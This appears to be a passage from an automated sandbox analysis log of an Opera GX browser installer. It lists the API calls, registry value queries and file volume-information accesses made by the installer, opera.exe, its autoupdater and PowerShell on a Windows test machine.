      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,19_2_004021B3
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: GetLocaleInfoW,20_2_0084769C
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: GetLocaleInfoW,21_2_0084769C
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeQueries volume information: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\installer_prefs_include.json VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\files_list VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\root_files_list VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\files_list VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\pref_default_overrides VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\installer_prefs_include.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\custom_partner_content.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installation_status.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\doh_providers.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installation_status.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installation_status.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.version VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.version VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\server_tracking_data VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\server_tracking_data VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\server_tracking_data VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\server_tracking_data VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\installation_status.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\pref_default_overrides VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\ab_tests.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\server_tracking_data VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Medium.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Medium.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-MediumItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-MediumItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLightItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Light.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Medium.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-MediumItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Thin.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ThinItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Underwave-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\custom_partner_content.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\pref_default_overrides VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\013E742B-287B-4228-A0B9-BD617E4E02A4.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\07593226-C5C5-438B-86BE-3F6361CD5B10.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\0CD5F3A0-8BF6-11E2-9E96-0800200C9A66.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\1AF2CDD0-8BF3-11E2-9E96-0800200C9A66.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\1CF37043-6733-479C-9086-7B21A2292DDA.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\2A3F5C20-8BF5-11E2-9E96-0800200C9A66.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\2F8F0E41-F521-45A4-9691-F664AFAFE67F.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\3B6191A0-8BF3-11E2-9E96-0800200C9A66.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\3BFDFA54-5DD6-4DFF-8B6C-C1715F306D6B.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\4C95ADC1-5FD9-449D-BC75-77CA217403AE.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\5BBBDD5B-EDC7-4168-9F5D-290AF826E716.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\66DD4BB6-A3BA-4B11-AF7A-F4BF23E073B2.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\6D3582E1-6013-429F-BB34-C75B90CDD1F8.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\76C397A8-9E8E-4706-8203-BD2878E9C618.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\8D754F20-8BF5-11E2-9E96-0800200C9A66.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\AD2FD2BD-0727-4AF7-8917-AAED8627ED47.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\B478FE0C-0761-41C3-946F-CD1340356039.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\C665D993-1B49-4C2E-962C-BEB19993BB86.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\CCCED631-6DA2-4060-9824-95737E64350C.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\CFCE84E5-9A95-4B3F-B8E4-3E98CF7EE6C5.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\CFD4BE41-4C6D-496A-ADDB-4095DFA1DD0E.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\F3F34CBB-24FF-4830-9E87-1663E7A0A5EE.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\F98D4D4C-8AA7-4619-A1E7-AC89B24558DD.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\FDC2CCAB-E8F9-4620-91DD-B0B67285997C.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\FF57F01A-0718-44B7-8A1F-8B15BC33A50B.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\FFF3F819-B6CE-4DE6-B4E4-8E2618ABC0D9.ico VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\video_conference_popout.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\continue_shopping.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\browser.js VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\MEIPreload\manifest.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\siteprefs.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\partner_speeddials.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\daily_wallpapers.json VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Regular.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-SemiBoldItalic.ttf VolumeInformation
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeQueries volume information: C:\Windows\Web\Wallpaper\Windows\img0.jpg VolumeInformation
